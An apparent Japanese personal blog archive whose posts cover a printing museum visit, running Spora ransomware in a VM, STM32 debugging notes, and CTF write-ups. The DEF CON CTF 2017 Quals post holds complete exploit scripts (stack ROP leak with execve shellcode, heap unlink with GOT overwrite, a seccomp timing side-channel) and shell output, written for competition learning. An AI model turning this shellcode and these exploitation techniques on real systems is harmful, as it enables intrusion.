ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

印刷博物館に行ってきた

マツコの知らない世界というテレビ番組で、絶対フォント感を持つフォント好きの数学教師が出演しました。 自分が好きなフォント、ロダン Pro DBで事項紹介用のフリップをマツコさんに見せたところ、 「普段のフリップのフォントの方が見やすい」と一蹴された場面と、 「そ」の字形の違いに疑問を持ったことがフォントにはまったきっかけだったという話が特に好きです。

# 僕がフォントにはまったきっかけはMicrosoft OfficeのWordでした。

番組の放映後に印刷博物館で「印刷書体のできるまで」という企画展が開催されていることをTwitterで知りました。 この総合展示は6/18(日)まで開催されています。まだまだ間に合いますよ。

印刷博物館:P&Pギャラリー > 印刷書体のできるまで 活字書体からデジタルフォントへ

2017/6/1に上京予定があり(理由はお察しの通り)、夕方前まで予定が無かったので早起きして10時に到着するようにがんばりました><

印刷博物館凸版印刷の建物の中にあります。 有楽町線江戸川橋駅から行くと、川に沿って歩くだけで到着して楽です。 有楽町線はめっちゃ空いていました。 建物はTOPPANと書かれた半円筒形の建物の裏に有るので駅の出口からよく見えます。

1Fの総合展示の入り口のすぐ近くにコインロッカーがあります!お金が戻ってくるタイプです。(ありがたや〜

企画展のメインは凸版文久明朝体ができるまでです。 ラフ〜デザイナーと監修者のやりとり〜墨入れによる清書〜ベクター化〜ベジェ曲線の調整〜レビュー〜完成、という流れです。 印象に残ったことを箇条書きします(メモは取ってないので曖昧です)。

  • スキャンするまでは方眼紙上でデザインしている
  • デジタル化した後は1000☓1000マスのグリッドを基準に考える(へー
    • 線の太さは 24/1000 という具合に指定する
  • ラフや下書きの線がガタガタ
  • レビューのときに、
    • 監修者はデザイナーのアイデアのよさを明確にした上で、自分の意見は参考程度にとどめてと念押ししていた。互いを尊重し合うやりとりが見れてよかった
    • 顔のイラストが至るところに描かれていたのが印象的
    • 監修者がこれってどうかなーって書いて見せて、即、やっぱバランス悪いわ、○○さんさすがっす、で書いててみたいなおちゃめなところ良い
    • 普段の字がそれほどきれいじゃないというのと、丸文字で女の子っぽいという意外性
  • ひらがなと漢字のうろこの向き(左or右)が違うことで議論していた(確か)。この辺は一度も気にしたことがなかった

一旦展示室を出て、室内のエスカレータで地下1階に行きました。 総合展(常設展示)が目的です。 お金を払って入ると、甲骨文字からデジタルディスプレイまでの文字や印刷が関わるものが壁一面に埋め込まれていました。 ドン引きしたのは箱の中にパラパラ漫画が入っていて、横に付いたハンドルを回してパラパラ漫画を見るというクソうるさいものがあったことです。 (なんでこんなものが。ノードでええやんけ)

このエリアが終わると大きい部屋に着きます。 近代・現代の版画、近世の出版物、昭和なポスター、クソデカいフォトレタッチの機械、 それと、母型をレーンに入れといて、キーボードをタイプすると、対応する母型が落っこちて(スペースだとスペーサーみたいのが落っこちます)、行ごとに鉛の版を作る超ドン引きな機械があったりしておもしろかったです。

印象に残ったのは、

  • 『ルソーの森の考える虹猿』(後述)
  • 杉田玄白の頃に使われていた解剖道具(実物っぽい)
  • 富嶽三十六景(浮世絵)が版画の要領で多色刷りされる様子(色が載ってく様子を段階的に観察できるようになっている)
  • インクが出すぎてしまう、残念なカレンダー印刷機
  • 先のドン引き機械を使った印刷方法を説明するビデオに出てた人♂の髪型が近世ヨーロッパにありがちなきのこカットでかわいいですな
  • 昔の写真のレタッチから現像までする様子を模したジオラマ(イラストだと別の角度から見れないのでジオラマの良さが活かされていてよかった)
  • ICを作るとき使うフォトマスクって、美術で習ったエッチングっすな。これじゃ凸版印刷が電子回路系に手を出すのも仕方ないね(コナミ感)

あと意外だったのは、

  • I want you for U.S. army のポスター(実物?;帽子を被って指差しするおっさんのポスター)があった

下の写真は僕が作ったカレンダーです。 これは体験型の展示物で作ったものです。 日付の数字だけは印刷してあって、残りをスタンプ式の機械4台を使って印刷しようというコンセプトの展示です。 最初の1台以外はインクが出すぎてしまうという極悪仕様で、見事に残念なカレンダーとなってしまいました><

f:id:katc:20170614230635j:plain

最後に、企画展をもう一度回った後、ミュージアムショップで虹猿のポストカードとフォントかるた(2,500円!)を買いました。 ポストカードの方は色遣いが凄まじいですな。 悲しいことに、かるたを買ったは良いものの、一緒に遊んでくれそうな人がいません(にゃーん

f:id:katc:20170614231048j:plain

SporaのChrome font.exeを動かしてみたけど、Decryption Errorでコンソールが表示できなかった話

例の「マルウェア解析に必要な素養」に書きましたが、2017年1月からランサムウェアのSporaが出現しています。 一般的なランサムウェアが壁紙を変えて脅迫文を表示する一方で、SporaはWebコンソール(管理画面)を犯罪者とのやり取りに使う変わったランサムウェアです。 今日はそのコンソールのスクショを取るためだけにSporaに感染してみることをしてみましたが、うまくいかなかった話をします。

Sporaの入手

SporaはChromeユーザーにフォントのインストールをダイアログで指示してきます[1]。 hybrid-analysisでsporaタグが付いたレポートからして、Chrome font.exeというのがそのときのファイルっぽいので、次のレポートに添付されている検体を入手しました。

わざと感染

感染ステップ:

  1. 光回線端末とルーターの電源を落として、またつなぐ(=PPPoEセッションの貼り直し=グローバルIPアドレスの変更)
  2. 感染前のスナップショットに復元してあるVMに暗号化されるファイルと検体を投入
  3. 検体を実行→Cドライブのファイルが暗号化されるっぽい(VirtualBoxの共有フォルダ内も暗号化されます!)

Windows 8VMのデスクトップにjpgファイルとxlsxファイルをおいてChrome font.exeを走らせました。 f:id:katc:20170602211146p:plain

感染後、ファイルが暗号化され、各フォルダにIDに".html"がついたhtmlファイルが生成されました。 IEが立ち上がり、アカウントのログイン画面のようなものが表示されます。 f:id:katc:20170602211202p:plain

リンク先を開くとファイルを復号できることを確認するステップが始まりますが、1つファイルを送った後にエラーが出て先に進めませんでした。 f:id:katc:20170602211337p:plain f:id:katc:20170602211250p:plain

Wireshark: https://packettotal.com/cgi-bin/view-analysis.cgi?id=5403d67eddb25e570a4b15db7e505588

インテリジェンス的な情報

SporaがWebコンソールを以下のドメインで動かしています・いました(?)

IDは例えばこんな感じです。国のコードが付記されるのが特徴です。

  • JP53B-9ERTZ-TZTZT-FTHYY
  • JP7D0-37RTZ-TZTZT-FTHYY
  • JPEB6-0DHTZ-TZTZT-XZTHY
  • JP182-1EXTZ-TZTZT-FTXYY

参考文献

[1] 2017年第1四半期 セキュリティラウンドアップ | トレンドマイクロ


コードを抜き差ししてたらPPPoE接続後に外に繋がらなくなりがちになった…

DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup

TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。

TomoriNaoは 126 pts. で 122位 でした。

f:id:katc:20170501130549p:plain

簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。

解いたのは下の3つです。100点submitを目標にしていたので満足です。

  • Baby’s First - smashme (TODO pts.)
  • Baby’s First - beatmeonthedl (TODO pts.)
  • Potent Pwnables - mute (TODO pts.)

smashme

バイナリの挙動

  • BOF(stack smashing)させてくれる

アプローチ

  1. ROPによりinformation leak
  2. main呼び出し
  3. shellcode送信
  4. shellcode呼び出し

shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。

information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。

リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。

エクスプロイトコード

コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz

from pwn import *
from sys import argv

BIN = "./smashme"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

# shellcode = "\x48\x89\xEC" + shellcode              # mov    rsp,rbp 
shellcode = "\x48\x89\xE5" + shellcode              # mov    rbp,rsp 
# shellcode = "\x48\x83\xEC\xf0" + shellcode          # sub    rsp, N
shellcode = "\x48\x83\xC4\x40" + shellcode          # sub    rsp, N

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

r = None
offset = {}
if REMOTE:
    r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348)
else:
    r = process(BIN)

prefix = "Smash me outside, how bout dAAAAAAAAAAA"
payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7)
# payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7)
with open("payload", "w") as f:
    f.write(payload)
# if not REMOTE:
#     exit()

# context.log_level = 'debug'

# if not REMOTE:
#     r.sendline("")
print r.recvline()

# bp()

# bss_stdin = 0x6c9748
# bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210
bss_environ = 0x6cb640

# addr_push_rsp_ret = 0x0044611d
addr_pop_rdi_ret = 0x00401942
addr_puts = 0x40fca0
addr_main = 0x4009ae
rop_chain = [
    p64(addr_pop_rdi_ret),
    p64(bss_environ),
    # p64(0x4a06d8), 
    p64(addr_puts),
    p64(addr_main),
]
r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain))
# if not REMOTE:
#     r.sendline("")
#     r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
# res = r.recvline().replace('\n', '')
res = r.recv(6)
addr = u64(res.ljust(8, '\0'))
print "addr = %#x" % addr
shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20
print "shellcode addr = %#x" % shellcode_addr
# r.interactive()
r.recvline()

bp()

payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr)
r.sendline(payload)
# r.sendline("ls")

r.interactive()

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?

addr = 0x7fff7dbc8508
shellcode addr = 0x7fff7dbc83b7
[*] Switching to interactive mode
Welcome to the Dr. Phil Show. Wanna smash?
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d

beatmeonthedl

バイナリの挙動

  • mallocのチャンクへのポインタのテーブルがbssに置かれる
    • チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
  • チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF
  • コンパイル条件的にGOT Overwrite可能
  • スタックが実行可能(wrx

アプローチ

  • Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
    • 実際は最新Arch Linuxglibc 2.25-1)でも下のエクスプロイトコードは動くので半分間違ってる
    • あとは★参照
  • information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
  • ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
  • 実行可能領域であるスタック(wrx)にshellcodeを書き込む
  • GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)

別記★

  1. 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
  2. consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる

エクスプロイトコード

from pwn import *
from sys import argv
from time import sleep

BIN = "./beatmeonthedl"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
SOCAT = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True
    if argv[1] == "r":
        SOCAT = True

r = None
offset = {}
if REMOTE:
    r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969)
elif SOCAT:
    r = remote("localhost", 6969)
else:
    r = process(BIN)

"""menu
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
"""

def request(text):
    r.sendline('1')
    r.send(text)
    res = r.recvline()
    if "[-] Request list full" in res:
        log.warn(res)
        r.recvuntil('| ')
        return False
    r.recvuntil('| ')
    return True

def print_req():
    r.sendline('2')
    res = r.recvuntil('| ')
    req = []
    for x in res.split('\n'):
        if len(x) > 1:
            if x[0] in "0123456789":
                no, data = x.split(')')[:3]
                data = data[1:]
                req.append((no, data))
    return req

def delete(no):
    r.sendline('3')
    r.sendline("%d" % no)
    # print r.recvuntil('| ')

def change(no, text):
    r.sendline('4')
    r.sendline("%d" % no)
    if len(text) > 0x80:
        log.fatal("too log data")
    r.recvuntil("data: ")
    r.send(text)
    r.recvuntil('| ')

patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

r.sendline(patt[:40])
r.recvuntil("Invalid user: ")
res = r.recvline().strip()[-6:]
addr = u64(res.ljust(8, '\x00'))
log.info("leaked addr = %#x" % addr)
mapped_base_addr = (addr - 0x1f000) & ~0xfff
if REMOTE and len(argv) == 3:
    mapped_base_addr += int(argv[2], 16) * 0x1000
    log.info("arrange offset = %#x" % int(argv[2], 16))
log.info("mapped_base_addr = %#x" % mapped_base_addr)

r.recvuntil('Enter username: ')
r.sendline('mcfly')
r.recvuntil('Enter Pass: ')
r.sendline('awesnap')

r.recvuntil('| ')


# for i in range(32):
# for i in range(4):
for i in range(2):
    # succ = request(chr(97 + i) * (0x80))
    succ = request(chr(97 + i) * (0x10))
    if not succ:
        break

# list_ptr = 0x609e80
# 0 0x60a030 
# 1 0x60a070
# 2 0x60a0b0
# 3 0x60a0f0

print print_req()

### 2
request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode)

# context.log_level = 'debug'

### 3
request("c" * 0x10)
### 4
request("d" * 0x10)

# mapped_base_addr = 0x00007ffffffde000
ptr_reqlist = 0x609e80

#### reqlist[2] = mapped_base_addr
change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))
delete(4)
log.info("reqlist[2] has overwriten")
bp()

sleep(1)

# context.log_level = 'debug'
change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode)
log.info("injected shellcode to reqlist[2]")
bp()

main_addr = 0x40123c
heap_base_addr = 0x0060a000
plt_got = {"puts": 0x609958}
shellcode_addr = mapped_base_addr
log.info("shellcode addr = %#x" % shellcode_addr)
assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000)

log.info("change(0, ...)")
change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))

log.info("=== [got overwrite] ===")
log.info("delete(1)")
bp()
r.sendline("3")
r.sendline("1")


# context.log_level = 'debug'

r.interactive()

結果

K_atc% python2 beatmeonthedl.py r
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
[*] leaked addr = 0x7ffe3b12a4b0
[*] mapped_base_addr = 0x7ffe3b10b000
[('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')]
[*] reqlist[2] has overwriten
[*] injected shellcode to reqlist[2]
[*] shellcode addr = 0x7ffe3b10b000
[*] change(0, ...)
[*] === [got overwrite] ===
[*] delete(1)
[*] Switching to interactive mode
0) @\x99`
1) bbbbbbbbbbbbbbbb
2) H\xbf@\xb0\x10;\xfe\x7f
3) x\x9e`
choice: $ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!

mute

バイナリの挙動

  • シェルコードをmappedされた領域に置いて call rdx で呼び出してくれる親切設計
  • seccompを使用したサンドボックス
    • 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
  • パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1)       = 0x602010
seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef
seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0        read
seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0        open
seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0        close
seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0        stat
seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0        fstat
seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0        lstat
seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0        poll
seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0        lseek
seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0        mmap
seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0       mprotect
seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0       mumap
seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0       brk
seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0       execve
seccomp_load(0x602010, 0, 0, 0)              = 0

アプローチ

  • writeができないので、動作をもとにflagを1ビットずつリークする
    • 朝5時にサーバーが空き始めてきれいに解けた!

エクスプロイトコード

アセンブリの通り。

/home/mute/flagをlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。

from pwn import *
from sys import argv
import os
import struct
import time

BIN = "./mute"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

READ_OFFSET = "0"
BIT_MASK = "0xff"
if REMOTE and len(argv) > 2:
    READ_OFFSET = argv[2]
    BIT_MASK = argv[3]
if not REMOTE and len(argv) > 1:
    READ_OFFSET = argv[1]
    BIT_MASK = argv[2]

def leak(READ_OFFSET, BIT_MASK):
    global BIN
    
    log.info("READ_OFFSET = " + READ_OFFSET)
    log.info("BIT_MASK = " + BIT_MASK)

    r = None
    offset = {}
    if REMOTE:
        r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443)
    else:
        r = process(BIN)

    r.recvline()

    if REMOTE:
        LOOP_AMOUNT = "0x10000000"
    else:
        LOOP_AMOUNT = "0x100000000"

    shellcode = asm("""
        push 0x0
        mov rax, 0x67616c662f657475
        push rax
        mov rax, 0x6d2f656d6f682f2f
        push rax

        push rsp
        pop rdi
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall

        push rax
        mov rdi, rax
        mov rsi, READ_OFFSET
        mov rdx, 0
        mov rax, 8
        syscall   

        pop rax
        mov rdi, rax
        mov rsi, 0x00601100
        mov rdx, 1
        mov rax, 0
        syscall
        
        mov rax, [0x00601100]
        and rax, BIT_MASK

        cmp rax, 0
        jg end
        mov rax, LOOP_AMOUNT
        loop:
        dec rax
        cmp rax, 0
        jne loop
        end:
        """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') 

    # bp()
    # context.log_level = 'debug'

    start_time = time.time()
    # r.send(shellcode.ljust(0x1000, "\x90"))
    for i in range(0x10):
        r.send(shellcode.ljust(0x100, "\x90"))

    try:
        r.recv(0x1000)
    except EOFError:
        end_time = time.time()
        elapsed_time = end_time - start_time
        log.info("Connection Closed")
        print "elapsed time = %f" % elapsed_time   
        r.close()
        return elapsed_time

LOG_FILE_NAME = "bit-%d.log"
if REMOTE:
    LOG_FILE_NAME = "r-"+LOG_FILE_NAME
else:
    LOG_FILE_NAME = "l-"+LOG_FILE_NAME
f = open(LOG_FILE_NAME % time.time(), "w")
for i in range(0x0, 0x90):
    for j in range(8):
        elapsed_time = leak(hex(i), hex(1 << j))
        f.write("%d, %d, %f\n" % (i, j, elapsed_time))
        f.flush()
        time.sleep(1)
f.close()

計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。

data = []
with open("r-bit-1493583250.log") as f:
    data = f.read().strip().split("\n")

with open("r-bit-1493584813.log") as f:
    data += f.read().strip().split("\n")

with open("r-bit-1493585321.log") as f:
    data += f.read().strip().split("\n")

flag = []
for i in range(0x90):
    flag.append(list("0b00000000"))

threthold = 0.5

for x in data:
    i, j, t = x.split(',')
    i, j, t = int(i), int(j), float(t)
    if t < threthold:
        flag[i][-(j+1)] = "1"

buf = ""
for i in range(0x90):
    # print ''.join(flag[i])
    d = int(''.join(flag[i]), 2)
    buf += chr(d & 0xff)
print buf

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py 
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。

手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。

来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)

NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた

NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。

akizukidenshi.com

今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。

OpenOCDはgit版を使っています。

K_atc% openocd -v
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html

ピン接続

デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。

f:id:katc:20170424163240p:plain

図は ULINK2 User's Guide: Target Connectors より

Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜

SWDの場合

f:id:katc:20170424162753p:plain

CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。

Nucleo側 ST-Link側
1 1 (VCC)
2 9 (SWCLK)
3 4 (GND)
4 7 (SWDIO)

JTAGの場合(試行中)

CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging と怒られてしまう)

Nucleo側 ST-Link側
1 1 (VCC) ※
2 9 (JTCK) ※
3 4 (GND) ※
4 7 (TMS/JDIO) ※
5 3 (nRST)
6 13 (TDO/SWO)

OpenOCD

ダメな接続例:USB電源を2箇所からとる

openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。

よい接続例:USBを同じところからとる

2本のUSBを同じPCに接続するということです。

OpenOCDのスクリプトファイル(-fオプションで渡すファイル)を次の要領で作成しました。 ベースのディレクトリはインストール先によって変わるかもしれません。

# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg
# でもよい。 [f:id:katc:20170424162753p:plain]
cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg

SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…

あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。

[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
adapter speed: 300 kHz
adapter_nsrst_delay: 100
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
none separate
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : clock speed 240 kHz
Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.183191
Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints

参考

STM32NucleoでLチカ(mbed/C++)

時間がないので手短にまとめます。

必要なもの

  • STM32のNucleo(僕は、NUCLEO-L152REを使用)
  • USB Mini-B ケーブル
  • mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)

調査

NucleoのLD2(緑色のユーザー用LED)のポートを調べる

NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。

f:id:katc:20170115160519p:plain

PortAのベースアドレスと中身を調べる

STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。

f:id:katc:20170115161258p:plain

PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。

katc.hateblo.jp

Lチカコード(main.cpp)

#include "mbed.h"

#define DURATION 0.15

#define PORT_A (0x40020000)
#define MODER (0x0)
#define ODR (0x14)
#define PORT_A_ODR ((volatile int*)(PORT_A + ODR))
#define PORT_A_MODER ((volatile int*)(PORT_A + MODER))


void ld2_on() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur | 1 << 5;    
}

void ld2_off() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur & ~(1 << 5);
}

// ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない
void init_ld2() {
    // output mode 
    volatile int* cur = (volatile int *) (PORT_A + MODER);
    *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5
    ld2_off();
}

int main() {
    for(int i = 0; i < 1000; i++) {
        ld2_on();        
        wait(DURATION);
        ld2_off();        
        wait(DURATION);
    }
    ld2_on();
    return 0;
}

参考

33C3 CTF - babyfengshui (pwn150) ほかの writeup

2016/12/29 5:00から48時間開催の33C3 CTFPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。

  • babyfengshui (pwn150)
  • exfill (for100)
  • pdfmacker (misc75)

で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。

babyfengshui

ユーザー管理をする帳簿を模したプログラムがpwnの対象。

疑似Cコード:

struct STRUCT_USERS {
    STRUCT_USER* user;
};

struct STRUCT_USER {
    // char* description;
    char* text;     // 
    char[] name;    // size = 0x7c
}; // size = 0x80

users[0]->name == users + 4

int number_of_X; // 0x804b069, starts with 0
STRUCT_USERS users; // 0x804b080

void getText(char* arg0, int arg1) { // 0x80486bb
    var_C = *0x14;
    fgets(arg0, arg1, *stdin);
    var_10 = strchr(arg0, 0xa);
    if (var_10 != 0x0) {
            *(int8_t *)var_10 = 0x0;
    }

    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

void Update(int arg0) {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit;

loc_804875e:
    printf("text length: ");
    // __isoc99_scanf("%u%c", 0x0, var_11);
    __isoc99_scanf("%u%c", 0x0, var_11, var_10);
    // esp = (esp - 0xc - 0x4) + 0x10;
